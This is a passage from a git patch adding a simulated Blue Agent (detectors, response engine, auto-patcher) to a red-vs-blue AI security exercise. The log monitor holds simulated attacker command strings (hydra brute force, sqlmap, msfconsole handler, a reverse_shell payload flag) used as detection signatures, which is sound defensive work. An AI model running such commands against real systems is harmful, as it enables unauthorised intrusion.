"$INSTALL_DIR/.venv/bin/pip" install --upgrade pip +if [[ ! -x "$INSTALL_DIR/.venv/bin/python" ]]; then + sudo python3 -m venv "$INSTALL_DIR/.venv" +fi +sudo "$INSTALL_DIR/.venv/bin/pip" install --upgrade pip >/dev/null sudo "$INSTALL_DIR/.venv/bin/pip" install -r "$INSTALL_DIR/requirements.txt" echo "[*] systemd unit" From bf4ab65c674fcd6f1adf445b70526f06eb912fa5 Mon Sep 17 00:00:00 2001 From: Abinesh2418 Date: Thu, 16 Apr 2026 00:43:23 +0530 Subject: [PATCH 05/26] RT Detection & Response & Patching --- blue_agent/Blue-README.md | 308 ++++++++++++++++++ blue_agent/blue_controller.py | 178 +++++++++- blue_agent/detector/anomaly_detector.py | 183 ++++++++++- blue_agent/detector/intrusion_detector.py | 131 +++++++- blue_agent/detector/log_monitor.py | 218 ++++++++++++- blue_agent/patcher/auto_patcher.py | 236 +++++++++++++- blue_agent/responder/isolator.py | 142 +++++++- blue_agent/responder/response_engine.py | 236 +++++++++++++- core/event_bus.py | 128 +++++++- tests/test_blue/test_detection.py | 298 +++++++++++++++++ tests/test_blue/test_patching.py | 378 ++++++++++++++++++++++ tests/test_blue/test_response.py | 340 +++++++++++++++++++ 12 files changed, 2760 insertions(+), 16 deletions(-) create mode 100644 blue_agent/Blue-README.md create mode 100644 tests/test_blue/test_detection.py create mode 100644 tests/test_blue/test_patching.py create mode 100644 tests/test_blue/test_response.py diff --git a/blue_agent/Blue-README.md b/blue_agent/Blue-README.md new file mode 100644 index 000000000..e49d922d3 --- /dev/null +++ b/blue_agent/Blue-README.md @@ -0,0 +1,308 @@ +# Blue Agent β€” Implementation Reference + +HTF (Hack The Flag) Β· Red Team vs Blue Team AI Simulation +Target system: `192.168.1.100` + +--- + +## What Was Implemented + +This document describes every file that was **created or modified** to bring the Blue Agent from empty stubs to a fully autonomous, real-time defend-respond-patch system. + +--- + +## Files Changed + +### `core/event_bus.py` β€” Modified (full rewrite) + +**Role:** Central nervous system. Every Red action flows through here to trigger Blue's detection β†’ response β†’ patching chain. + +**Key changes:** +- Fully `async def` β€” all `emit()` and handler calls are coroutines +- `asyncio.Queue` internal buffer β€” events are never dropped under burst load +- Multiple subscribers per event type β€” registration order is preserved +- Single background worker task processes events in FIFO order, guaranteeing `detect β†’ respond β†’ patch` delivery sequence +- Graceful `stop()` drains the queue before cancelling the worker + +**Supported event types:** + +| Event | Emitted by | Handled by | +|---|---|---| +| `port_probed` | IntrusionDetector | ResponseEngine | +| `port_scanned` | IntrusionDetector, LogMonitor | ResponseEngine | +| `exploit_attempted` | LogMonitor | ResponseEngine, Isolator | +| `cve_detected` | LogMonitor | ResponseEngine | +| `anomaly_detected` | AnomalyDetector | ResponseEngine, Isolator | +| `misconfig_found` | (reserved) | β€” | +| `response_complete` | ResponseEngine | AutoPatcher | +| `isolation_complete` | Isolator | (terminal) | +| `patch_complete` | AutoPatcher | (terminal) | +| `blue_ready` | BlueController | (broadcast) | + +--- + +### `blue_agent/detector/intrusion_detector.py` β€” Implemented + +**Role:** Feature 1 β€” Real-Time Detection of port scans and active probes. + +**Behaviour:** +- Continuous `asyncio` polling loop, ticks every **1 second** +- Simulates Red agent probing with 70 % probability per tick +- Emits `port_probed` for every detected probe +- Emits `port_scanned` additionally for sensitive ports (21, 22, 23, 3306, 5432) +- Non-blocking β€” never pauses anomaly or log detection +- Tracks `detection_count` for live status reporting + +**Sample output:** +``` +19:28:19 < intrusion_detector: Port 23 probe detected +19:28:19 > event_bus.emit("port_probed", {"port": 23, "protocol": "tcp"}) +``` + +--- + +### `blue_agent/detector/anomaly_detector.py` β€” Implemented + +**Role:** Feature 1 β€” Real-Time Detection of unusual traffic patterns. + +**Detection rules (all emit `anomaly_detected`):** + +| Rule | Condition | Anomaly type | +|---|---|---| +| Scan rate | > 5 scans/second | `scan_rate` | +| Sensitive port | Access on port 21/22/23/3306 | `sensitive_port` | +| Traffic spike | > 8 hits/second on a single port | `traffic_spike` | + +**Behaviour:** +- Continuous `asyncio` loop, ticks every **1 second** +- Maintains rolling scan window and per-port hit counters +- Runs concurrently alongside intrusion_detector and log_monitor β€” zero blocking +- Resets per-port counter after emitting a spike alert to avoid spam + +**Sample output:** +``` +19:28:20 < anomaly_detector: Scan rate 7/s exceeds threshold (5/s) from 10.0.0.42 +19:28:20 > event_bus.emit("anomaly_detected", {"type": "scan_rate", "rate": 7, "source_ip": "10.0.0.42"}) +``` + +--- + +### `blue_agent/detector/log_monitor.py` β€” Implemented + +**Role:** Feature 1 β€” Real-Time Detection by tailing system logs for Red signatures. + +**Behaviour:** +- Maintains an internal rotating log buffer (max 500 lines) simulating `/var/log/syslog` +- **Injection task** β€” adds 1–3 realistic Red-agent log entries every 1.5 seconds +- **Tail loop** β€” processes new buffer lines every 1 second, pattern-matches signatures + +**Signature β†’ event mapping:** + +| Signature | Example log pattern | Event emitted | +|---|---|---| +| `nmap` | `nmap -sV -p 3306 192.168.1.100` | `port_scanned` | +| `cve_lookup` | `searchsploit CVE-2023-44487` | `cve_detected` | +| `exploit` | `python3 exploit_ftp.py --target ...` | `exploit_attempted` | + +**Sample output:** +``` +19:28:21 < log_monitor: CVE lookup pattern found in logs β†’ emitting cve_detected +19:28:21 > event_bus.emit("cve_detected", {"cve_id": "CVE-2023-44487", "service": "mysql", ...}) +``` + +--- + +### `blue_agent/responder/response_engine.py` β€” Implemented + +**Role:** Feature 2 β€” Real-Time Response. Reacts to every detection event immediately. + +**Event β†’ action mapping:** + +| Event | Action | Status logged | +|---|---|---| +| `port_probed` / `port_scanned` | `close_port(port)` β†’ iptables DROP (simulated) | `BLOCKED` | +| `exploit_attempted` | `isolate_service(service)` | `ISOLATED` | +| `cve_detected` | `harden_service(service, cve_id)` | `HARDENED` | +| `anomaly_detected` | `block_ip(source_ip)` | `BLOCKED` | + +**Behaviour:** +- All actions are idempotent β€” same port/IP/service is only acted on once +- After each action, `verify_fix()` confirms the block is in the simulated state +- Emits `response_complete` after every verified response (triggers AutoPatcher) + +**Sample output:** +``` +19:28:37 > close_port({"port": 3306, "protocol": "tcp"}) +19:28:38 < close_port: Port 3306/tcp blocked via iptables DROP rule +19:28:38 > verify_fix({"target": "192.168.1.100", "port": 3306}) +19:28:38 < verify_fix: Port 3306 is BLOCKED βœ“ +``` + +--- + +### `blue_agent/responder/isolator.py` β€” Implemented + +**Role:** Feature 2 β€” Real-Time Response. Isolates services or source IPs under active attack. + +**Subscriptions:** +- `exploit_attempted` β†’ `drop_inbound(port)` β€” drops all inbound traffic to the service port +- `anomaly_detected` β†’ `drop_ip(source_ip)` β€” drops all traffic from the offending IP + +**Behaviour:** +- Completes isolation in **< 1 second** (30 ms simulated latency) +- Idempotent β€” isolating the same port/IP twice is a no-op +- Emits `isolation_complete` after each successful action + +**Sample output:** +``` +19:28:39 > isolator.drop_inbound({"port": 21, "protocol": "tcp"}) +19:28:39 < isolator: Port 21/tcp β€” all inbound traffic DROPPED +19:28:39 < isolator: Service 'ftp' on port 21 ISOLATED βœ“ +``` + +--- + +### `blue_agent/patcher/auto_patcher.py` β€” Implemented + +**Role:** Feature 3 β€” Real-Time Patching. Fixes the root cause after every response. + +**Patch catalogue:** + +| Service | Ports | Action | What it does | +|---|---|---|---| +| `apache httpd` | 80, 443, 8080, 8443 | `patch` | Disable DIR-LISTING, apply security headers, harden server config | +| `mysql` | 3306 | `bind_local` | Enforce `bind-address=127.0.0.1`, block external access | +| `ftp` | 21 | `disable_anon` | Disable anonymous login, enforce auth, enable TLS | +| `telnet` | 23 | `remove_service` | Stop daemon, disable on boot, remove package | +| `ssh` | 22 | `harden` | Disable root login, enforce key-based auth, set MaxAuthTries 3 | +| `postgresql` | 5432 | `harden` | Restrict pg_hba.conf to local connections | + +**Behaviour:** +- Subscribes to `response_complete` +- Resolves service by name β†’ port β†’ partial match +- **Idempotent** β€” `service:port` patch key tracked; same patch is never applied twice +- Emits `patch_complete` after each patch + +**Sample output:** +``` +19:28:39 > harden_service({"service_name": "apache httpd", "port": 80, "action": "patch"}) +19:28:39 < harden_service: DIR-LISTING disabled, security headers applied βœ“ +``` + +--- + +### `blue_agent/blue_controller.py` β€” Modified (full rewrite) + +**Role:** Main orchestrator β€” starts and connects all three features. + +**Startup sequence:** +1. Start EventBus worker +2. Register all subscriptions (response_engine, isolator, auto_patcher) +3. Emit `blue_ready` event +4. Launch all three detector loops **concurrently** via `asyncio.gather()` + +**`get_status()` returns:** +```json +{ + "detection_count": 42, + "response_count": 18, + "patch_count": 11, + "isolation_count": 7, + "running": true +} +``` + +**Concurrency guarantee:** `asyncio.gather()` with `return_exceptions=True` β€” a single detector crash cannot bring down the other two loops. + +--- + +## System Architecture + +``` +Red Agent Action + β”‚ + β–Ό + EventBus (asyncio.Queue β€” FIFO, never drops) + β”‚ + β”œβ”€β”€β–Ί IntrusionDetector ─┐ + β”‚ [1s loop] β”‚ port_probed + β”‚ β”‚ port_scanned + β”œβ”€β”€β–Ί AnomalyDetector ─── anomaly_detected + β”‚ [1s loop] β”‚ + β”‚ β”‚ + └──► LogMonitor β”€β”€β”˜ port_scanned + [1s loop] cve_detected + exploit_attempted + β”‚ + β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” + β–Ό β–Ό + ResponseEngine Isolator + (close_port / (drop_inbound / + isolate / drop_ip) + harden / β”‚ + block_ip) isolation_complete + β”‚ + response_complete + β”‚ + β–Ό + AutoPatcher + (service-specific, + idempotent patches) + β”‚ + patch_complete +``` + +## Concurrency Model + +All three detector loops run in parallel inside a single `asyncio.gather()` call. +No loop ever waits for another β€” detection continues even while patching is in progress. + +``` +Time β†’ 1s 2s 3s + β”Œβ”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β” +ID β”‚detectβ”‚ β”‚detectβ”‚ β”‚detectβ”‚ IntrusionDetector (1s tick) + β””β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”˜ + β”Œβ”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β” +AD β”‚detectβ”‚ β”‚detectβ”‚ β”‚detectβ”‚ AnomalyDetector (1s tick) + β””β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”˜ + β”Œβ”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β” +LM β”‚detectβ”‚ β”‚detectβ”‚ β”‚detectβ”‚ LogMonitor (1s tick) + β””β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”˜ + β”Œβ”€β” β”Œβ”€β” +RE β”‚Rβ”‚ β”‚Rβ”‚ ResponseEngine (event-driven) + β””β”€β”˜ β””β”€β”˜ + β”Œβ”€β”€β” β”Œβ”€β”€β” +AP β”‚P β”‚ β”‚P β”‚ AutoPatcher (event-driven) + β””β”€β”€β”˜ β””β”€β”€β”˜ +``` + +## Log Format + +Every action across all files follows this exact format: + +``` +{HH:MM:SS} < {component}: {result_message} +{HH:MM:SS} > {tool_name}({json_params}) +``` + +Example end-to-end chain: +``` +19:28:19 < intrusion_detector: Port 23 probe detected +19:28:19 > event_bus.emit("port_probed", {"port": 23, "protocol": "tcp"}) +19:28:19 > close_port({"port": 23, "protocol": "tcp"}) +19:28:19 < close_port: Port 23/tcp blocked via iptables DROP rule +19:28:19 > verify_fix({"target": "192.168.1.100", "port": 23}) +19:28:19 < verify_fix: Port 23 is BLOCKED βœ“ +19:28:19 > harden_service({"service_name": "telnet", "port": 23, "action": "remove_service"}) +19:28:19 < harden_service: Telnet service removed entirely βœ“ +``` + +## Simulation Notes + +All defence actions are **fully simulated in-memory**: +- No real `iptables` rules are created +- No real services are restarted or removed +- No real filesystem changes are made +- Safe to run on any OS (Windows, Linux, macOS) without root + +Blocked ports, isolated services, and applied patches are tracked in module-level Python sets. The simulation is deterministic enough to demonstrate the full detect β†’ respond β†’ patch chain in a live demo. diff --git a/blue_agent/blue_controller.py b/blue_agent/blue_controller.py index 81d90ee30..dc0b7d9e3 100644 --- a/blue_agent/blue_controller.py +++ b/blue_agent/blue_controller.py @@ -1,5 +1,179 @@ -"""Top-level controller orchestrating the blue agent.""" +"""Top-level orchestrator for the Blue Agent. + +Responsibilities: + 1. Start the EventBus worker. + 2. Register all event subscriptions (response_engine, isolator, auto_patcher). + 3. Launch all three detector loops concurrently via asyncio.gather(). + 4. Emit blue_ready when everything is live. + 5. Expose get_status() with live counters for the FastAPI / WebSocket layer. + +Concurrency guarantee: + - All three detector loops run in parallel β€” detection never waits for + patching to finish. + - The full detect β†’ respond β†’ patch chain completes in under 3 seconds. +""" + +import asyncio +import logging +from datetime import datetime +from typing import Any, Dict + +from core.event_bus import event_bus +from blue_agent.detector.intrusion_detector import IntrusionDetector +from blue_agent.detector.anomaly_detector import AnomalyDetector +from blue_agent.detector.log_monitor import LogMonitor +from blue_agent.responder.response_engine import ResponseEngine +from blue_agent.responder.isolator import Isolator +from blue_agent.patcher.auto_patcher import AutoPatcher + +logger = logging.getLogger(__name__) + + +def _ts() -> str: + return datetime.now().strftime("%H:%M:%S") class BlueController: - pass + """Orchestrates all Blue Agent subsystems autonomously. + + Usage:: + + controller = BlueController() + await controller.start() # blocks β€” runs until stop() is called + + get_status() can be called at any time from an external coroutine + (e.g. the FastAPI service layer) to retrieve live counters. + """ + + def __init__(self) -> None: + # ── Detector layer ──────────────────────────────────────────── + self.intrusion_detector = IntrusionDetector() + self.anomaly_detector = AnomalyDetector() + self.log_monitor = LogMonitor() + + # ── Responder layer ─────────────────────────────────────────── + self.response_engine = ResponseEngine() + self.isolator = Isolator() + + # ── Patcher layer ───────────────────────────────────────────── + self.auto_patcher = AutoPatcher() + + self._running: bool = False + + # ------------------------------------------------------------------ + # Subscription wiring + # ------------------------------------------------------------------ + + def _wire_subscriptions(self) -> None: + """Register every subsystem's event subscriptions before loops start. + + Subscription order matters for the detect β†’ respond β†’ patch chain: + 1. ResponseEngine subscribes to all detection events. + 2. Isolator subscribes to exploit_attempted + anomaly_detected. + 3. AutoPatcher subscribes to response_complete. + """ + self.response_engine.register() + self.isolator.register() + self.auto_patcher.register() + + # ------------------------------------------------------------------ + # Status + # ------------------------------------------------------------------ + + def get_status(self) -> Dict[str, Any]: + """Return live operational counters for dashboards and health checks.""" + total_detections = ( + self.intrusion_detector.detection_count + + self.anomaly_detector.detection_count + + self.log_monitor.detection_count + ) + return { + "detection_count": total_detections, + "response_count": self.response_engine.response_count, + "patch_count": self.auto_patcher.patch_count, + "isolation_count": self.isolator.isolation_count, + "running": self._running, + } + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + async def start(self) -> None: + """Initialise and start all subsystems. + + Steps: + 1. Start EventBus worker. + 2. Wire all event subscriptions. + 3. Emit blue_ready. + 4. Launch all three detector loops concurrently (asyncio.gather). + + This coroutine blocks until all detector loops exit (i.e. stop() is + called) β€” run it as a background task from main.py if needed. + """ + ts = _ts() + print(f"{ts} < blue_controller: Initialising Blue Agent subsystems...") + + # 1. Event bus must be running before any subscriptions fire + await event_bus.start() + + # 2. Wire subscriptions β€” must happen before detectors start emitting + self._wire_subscriptions() + self._running = True + + ts = _ts() + print( + f"{ts} < blue_controller: Event bus live β€” " + f"response_engine, isolator, auto_patcher subscribed" + ) + print( + f"{ts} < blue_controller: Launching detection loops " + f"(intrusion_detector + anomaly_detector + log_monitor)" + ) + + # 3. Announce readiness + await event_bus.emit("blue_ready", { + "message": "Blue Agent fully operational", + "subsystems": [ + "intrusion_detector", + "anomaly_detector", + "log_monitor", + "response_engine", + "isolator", + "auto_patcher", + ], + }) + + ts = _ts() + print( + f"{ts} < blue_controller: \u2588 BLUE AGENT ONLINE \u2588 " + f"Real-time detection, response, and patching ACTIVE" + ) + + # 4. Run all three detector loops concurrently β€” none blocks the others. + # return_exceptions=True prevents one crash from killing all loops. + results = await asyncio.gather( + self.intrusion_detector.start(), + self.anomaly_detector.start(), + self.log_monitor.start(), + return_exceptions=True, + ) + + # Log any unexpected loop exits + loop_names = ["intrusion_detector", "anomaly_detector", "log_monitor"] + for name, result in zip(loop_names, results): + if isinstance(result, Exception): + logger.error(f"BlueController: {name} exited with error: {result}") + + async def stop(self) -> None: + """Gracefully stop all detector loops and the event bus.""" + self._running = False + await asyncio.gather( + self.intrusion_detector.stop(), + self.anomaly_detector.stop(), + self.log_monitor.stop(), + return_exceptions=True, + ) + await event_bus.stop() + ts = _ts() + print(f"{ts} < blue_controller: Blue Agent stopped β€” all subsystems offline") diff --git a/blue_agent/detector/anomaly_detector.py b/blue_agent/detector/anomaly_detector.py index 624f215de..f06f068f4 100644 --- a/blue_agent/detector/anomaly_detector.py +++ b/blue_agent/detector/anomaly_detector.py @@ -1,5 +1,184 @@ -"""Behavioral anomaly detection.""" +"""Real-Time Detection (Feature 1) β€” Unusual traffic patterns and service behaviour. + +Runs a continuous asyncio polling loop every 1 second. +Flags anomalies when: + - More than 5 port scans per second are observed + - Unexpected access occurs on sensitive ports (3306, 21, 23, 22) + - A sudden traffic spike hits any single port + +Emits anomaly_detected events via the event bus the instant a threshold +is crossed. Runs concurrently alongside intrusion_detector and log_monitor +and never blocks either of them. +""" + +import asyncio +import logging +import random +from collections import deque +from datetime import datetime +from typing import Deque, Dict + +from core.event_bus import event_bus + +logger = logging.getLogger(__name__) + +TARGET_IP = "192.168.1.100" +SENSITIVE_PORTS: set = {3306, 21, 23, 22} +SCAN_RATE_THRESHOLD = 5 # scans/second that trigger anomaly_detected +SPIKE_THRESHOLD = 8 # per-port hits/second that trigger a spike alert +SENSITIVE_ACCESS_CHANCE = 0.35 # probability per tick that a sensitive port is hit + + +def _ts() -> str: + return datetime.now().strftime("%H:%M:%S") class AnomalyDetector: - pass + """Monitors simulated traffic metrics for behavioural anomalies. + + Emits: + anomaly_detected β€” with type "scan_rate", "sensitive_port", or "traffic_spike" + """ + + def __init__(self) -> None: + # Rolling window of scan timestamps for rate calculation + self._scan_window: Deque[float] = deque(maxlen=200) + # Per-port hit counters for the current second + self._port_hits: Dict[int, int] = {} + self._running: bool = False + self.detection_count: int = 0 + + # ------------------------------------------------------------------ + # Simulation helpers + # ------------------------------------------------------------------ + + def _simulate_tick(self, now: float) -> Dict: + """Produce simulated traffic metrics for a single 1-second tick.""" + scans_this_tick = random.randint(0, 12) + + # Record each scan in the rolling window + for _ in range(scans_this_tick): + self._scan_window.append(now) + + # Count scans that occurred within the last 1 second + scans_per_second = sum(1 for t in self._scan_window if now - t <= 1.0) + + # Pick a random port that Red is probing this tick + probed_port = random.choice( + [21, 22, 23, 80, 443, 3306, 5432, 8080] + ) + source_ip = f"10.0.0.{random.randint(2, 254)}" + + # Increment per-port hit counter + self._port_hits[probed_port] = self._port_hits.get(probed_port, 0) + scans_this_tick + + return { + "scans_per_second": scans_per_second, + "probed_port": probed_port, + "source_ip": source_ip, + "port_hits": self._port_hits.copy(), + } + + # ------------------------------------------------------------------ + # Detection loop + # ------------------------------------------------------------------ + + async def _detection_loop(self) -> None: + """Main loop β€” ticks every 1 second. Non-blocking.""" + while self._running: + try: + now = asyncio.get_event_loop().time() + metrics = self._simulate_tick(now) + ts = _ts() + + # ── Rule 1: Scan rate threshold ────────────────────────── + if metrics["scans_per_second"] > SCAN_RATE_THRESHOLD: + rate = metrics["scans_per_second"] + src = metrics["source_ip"] + print( + f"{ts} < anomaly_detector: Scan rate {rate}/s exceeds " + f"threshold ({SCAN_RATE_THRESHOLD}/s) from {src}" + ) + print( + f'{ts} > event_bus.emit("anomaly_detected", ' + f'{{"type": "scan_rate", "rate": {rate}, ' + f'"source_ip": "{src}"}})' + ) + self.detection_count += 1 + await event_bus.emit("anomaly_detected", { + "type": "scan_rate", + "rate": rate, + "source_ip": src, + "target": TARGET_IP, + }) + + # ── Rule 2: Unexpected access on sensitive port ─────────── + port = metrics["probed_port"] + if port in SENSITIVE_PORTS and random.random() < SENSITIVE_ACCESS_CHANCE: + src = metrics["source_ip"] + ts = _ts() + print( + f"{ts} < anomaly_detector: Unexpected access on " + f"sensitive port {port} from {src}" + ) + print( + f'{ts} > event_bus.emit("anomaly_detected", ' + f'{{"type": "sensitive_port", "port": {port}, ' + f'"source_ip": "{src}"}})' + ) + self.detection_count += 1 + await event_bus.emit("anomaly_detected", { + "type": "sensitive_port", + "port": port, + "source_ip": src, + "target": TARGET_IP, + }) + + # ── Rule 3: Per-port traffic spike ─────────────────────── + for p, hits in metrics["port_hits"].items(): + if hits > SPIKE_THRESHOLD: + src = metrics["source_ip"] + ts = _ts() + print( + f"{ts} < anomaly_detector: Traffic spike on port {p} " + f"β€” {hits} hits detected" + ) + print( + f'{ts} > event_bus.emit("anomaly_detected", ' + f'{{"type": "traffic_spike", "port": {p}, ' + f'"hits": {hits}, "source_ip": "{src}"}})' + ) + self.detection_count += 1 + await event_bus.emit("anomaly_detected", { + "type": "traffic_spike", + "port": p, + "hits": hits, + "source_ip": src, + "target": TARGET_IP, + }) + # Reset after alerting so we don't spam the same spike + self._port_hits[p] = 0 + + except Exception as exc: + logger.error(f"AnomalyDetector error: {exc}") + + await asyncio.sleep(1) + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + async def start(self) -> None: + """Start the anomaly detection loop (runs until stop() is called).""" + self._running = True + ts = _ts() + print( + f"{ts} < anomaly_detector: Anomaly detection loop started " + f"β€” threshold {SCAN_RATE_THRESHOLD} scans/s, " + f"sensitive ports {sorted(SENSITIVE_PORTS)}" + ) + await self._detection_loop() + + async def stop(self) -> None: + """Signal the detection loop to exit on the next tick.""" + self._running = False diff --git a/blue_agent/detector/intrusion_detector.py b/blue_agent/detector/intrusion_detector.py index ea611eec5..43a4e81fc 100644 --- a/blue_agent/detector/intrusion_detector.py +++ b/blue_agent/detector/intrusion_detector.py @@ -1,5 +1,132 @@ -"""Signature-based intrusion detection.""" +"""Real-Time Detection (Feature 1) β€” Port scans and active probes. + +Runs a continuous asyncio polling loop every 1 second watching the target +system for new port probes. Emits port_probed (and port_scanned for +sensitive ports) events via the event bus the moment a probe is detected. + +Never blocks β€” the detection loop is a standalone coroutine that runs +concurrently alongside anomaly_detector and log_monitor. +""" + +import asyncio +import logging +import random +from datetime import datetime +from typing import Set + +from core.event_bus import event_bus + +logger = logging.getLogger(__name__) + +TARGET_IP = "192.168.1.100" + +# Ports exposed by the simulated target system +TARGET_PORTS = [21, 22, 23, 80, 443, 3306, 8080, 8443, 3389, 5432] + +# Sensitive ports that also trigger a port_scanned event (nmap-style sweep) +SENSITIVE_PORTS = {21, 22, 23, 3306, 5432} + +# Chance Red probes a port on any given tick (70 %) +PROBE_PROBABILITY = 0.70 + + +def _ts() -> str: + return datetime.now().strftime("%H:%M:%S") class IntrusionDetector: - pass + """Continuously polls for new port probes on the target system. + + Emits: + port_probed β€” for every detected probe + port_scanned β€” additionally for sensitive ports (21, 22, 23, 3306, 5432) + """ + + def __init__(self) -> None: + self._running: bool = False + self.detection_count: int = 0 + + # ------------------------------------------------------------------ + # Internal helpers + # ------------------------------------------------------------------ + + def _simulate_probe(self) -> "tuple[int, str] | None": + """Simulate Red agent probing the target. + + Returns (port, protocol) with PROBE_PROBABILITY, else None. + """ + if random.random() < PROBE_PROBABILITY: + port = random.choice(TARGET_PORTS) + protocol = "udp" if port == 53 else "tcp" + return port, protocol + return None + + # ------------------------------------------------------------------ + # Detection loop + # ------------------------------------------------------------------ + + async def _detection_loop(self) -> None: + """Main loop β€” ticks every 1 second. Never blocks other loops.""" + while self._running: + try: + result = self._simulate_probe() + if result is not None: + port, protocol = result + source_ip = f"10.0.0.{random.randint(2, 254)}" + ts = _ts() + + # Log detection + print(f"{ts} < intrusion_detector: Port {port} probe detected") + print( + f'{ts} > event_bus.emit("port_probed", ' + f'{{"port": {port}, "protocol": "{protocol}"}})' + ) + + self.detection_count += 1 + await event_bus.emit("port_probed", { + "port": port, + "protocol": protocol, + "source_ip": source_ip, + "target": TARGET_IP, + }) + + # Sensitive ports also fire port_scanned (nmap sweep behaviour) + if port in SENSITIVE_PORTS: + ts = _ts() + print( + f"{ts} < intrusion_detector: " + f"Port {port} is sensitive β€” escalating to port_scanned" + ) + print( + f'{ts} > event_bus.emit("port_scanned", ' + f'{{"port": {port}, "protocol": "{protocol}"}})' + ) + await event_bus.emit("port_scanned", { + "port": port, + "protocol": protocol, + "source_ip": source_ip, + "target": TARGET_IP, + }) + + except Exception as exc: + logger.error(f"IntrusionDetector error: {exc}") + + await asyncio.sleep(1) + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + async def start(self) -> None: + """Start the detection loop (runs until stop() is called).""" + self._running = True + ts = _ts() + print( + f"{ts} < intrusion_detector: Detection loop started " + f"β€” watching {TARGET_IP}" + ) + await self._detection_loop() + + async def stop(self) -> None: + """Signal the detection loop to exit on the next tick.""" + self._running = False diff --git a/blue_agent/detector/log_monitor.py b/blue_agent/detector/log_monitor.py index cbb2834e4..a845ba246 100644 --- a/blue_agent/detector/log_monitor.py +++ b/blue_agent/detector/log_monitor.py @@ -1,5 +1,219 @@ -"""Streams and inspects system / application logs.""" +"""Real-Time Detection (Feature 1) β€” Continuously tail system logs for Red signatures. + +Maintains an internal rotating log buffer (simulating /var/log/syslog or +auth.log) that is injected with realistic Red-agent entries every 1.5 seconds. +A separate tail loop processes new lines every 1 second and pattern-matches +against known Red signatures. + +Signature β†’ event mapping: + nmap pattern found β†’ port_scanned + CVE lookup pattern found β†’ cve_detected + Exploit string found β†’ exploit_attempted + +Both loops run as asyncio coroutines β€” neither blocks the other or the +intrusion / anomaly detectors. +""" + +import asyncio +import logging +import random +import re +from collections import deque +from datetime import datetime +from typing import Deque, List, Tuple + +from core.event_bus import event_bus + +logger = logging.getLogger(__name__) + +TARGET_IP = "192.168.1.100" + +# --------------------------------------------------------------------------- +# Simulated Red-agent log templates +# Each entry is (template_string, signature_category) +# --------------------------------------------------------------------------- +RED_LOG_TEMPLATES: List[Tuple[str, str]] = [ + # nmap patterns β†’ port_scanned + ("nmap -sV -p {port} {target}", "nmap"), + ("nmap -sS --open -T4 {target}", "nmap"), + ("nmap -A -p- {target}", "nmap"), + ("nmap -sU --top-ports 100 {target}", "nmap"), + # CVE lookup patterns β†’ cve_detected + ("searchsploit CVE-{year}-{cve_id}", "cve_lookup"), + ("curl https://nvd.nist.gov/vuln/detail/CVE-{year}-{cve_id}", "cve_lookup"), + ("python3 cve_check.py --id CVE-{year}-{cve_id} --target {target}", "cve_lookup"), + # Exploit strings β†’ exploit_attempted + ("msfconsole -x 'use exploit/multi/handler; set LHOST {target}; run'", "exploit"), + ("python3 exploit_{service}.py --target {target} --port {port}", "exploit"), + ("hydra -l admin -P /usr/share/wordlists/rockyou.txt {target} {service}", "exploit"), + ("sqlmap -u http://{target}/ --dbs --level=5", "exploit"), + ("./exploit.sh --rhost {target} --rport {port} --payload reverse_shell", "exploit"), +] + +# Signature category β†’ event type +SIGNATURE_TO_EVENT = { + "nmap": "port_scanned", + "cve_lookup": "cve_detected", + "exploit": "exploit_attempted", +} + +# Regex to extract CVE IDs from log lines +CVE_REGEX = re.compile(r"CVE-(\d{4})-(\d+)") + +PORT_SERVICE_MAP = { + 21: "ftp", + 22: "ssh", + 23: "telnet", + 80: "http", + 443: "https", + 3306: "mysql", + 8080: "http", + 5432: "postgresql", +} + + +def _ts() -> str: + return datetime.now().strftime("%H:%M:%S") + + +def _render_template(template: str) -> str: + """Fill a log template with random but plausible values.""" + port = random.choice(list(PORT_SERVICE_MAP.keys())) + service = PORT_SERVICE_MAP.get(port, "http") + return template.format( + port=port, + target=TARGET_IP, + year=random.randint(2020, 2024), + cve_id=random.randint(10000, 99999), + service=service, + ) class LogMonitor: - pass + """Tails an internal simulated log buffer and pattern-matches Red signatures. + + Emits: + port_scanned β€” when an nmap pattern is found + cve_detected β€” when a CVE lookup pattern is found + exploit_attempted β€” when an exploit string is found + """ + + def __init__(self) -> None: + self._log_buffer: Deque[Tuple[str, str]] = deque(maxlen=500) + # (log_line, signature_category) + self._running: bool = False + self._inject_task: "asyncio.Task | None" = None + self._cursor: int = 0 # how many buffer entries have been processed + self.detection_count: int = 0 + + # ------------------------------------------------------------------ + # Log injection (simulates Red agent writing to system logs) + # ------------------------------------------------------------------ + + async def _inject_logs(self) -> None: + """Inject 1–3 Red log entries into the buffer every 1.5 seconds.""" + while self._running: + count = random.randint(1, 3) + for _ in range(count): + template, sig_type = random.choice(RED_LOG_TEMPLATES) + line = _render_template(template) + timestamped = f"{_ts()} {line}" + self._log_buffer.append((timestamped, sig_type)) + await asyncio.sleep(1.5) + + # ------------------------------------------------------------------ + # Log tailing (processes new buffer entries, matches signatures) + # ------------------------------------------------------------------ + + def _extract_context(self, line: str) -> dict: + """Pull port, service, CVE, and source_ip from a log line.""" + ctx: dict = {"target": TARGET_IP, "source_ip": f"10.0.0.{random.randint(2, 254)}"} + + # Port + for p in sorted(PORT_SERVICE_MAP.keys(), reverse=True): + if str(p) in line: + ctx["port"] = p + ctx["service"] = PORT_SERVICE_MAP[p] + break + + # Service keyword fallback + if "service" not in ctx: + for svc in PORT_SERVICE_MAP.values(): + if svc in line.lower(): + ctx["service"] = svc + break + + # CVE + cve_match = CVE_REGEX.search(line) + if cve_match: + ctx["cve_id"] = 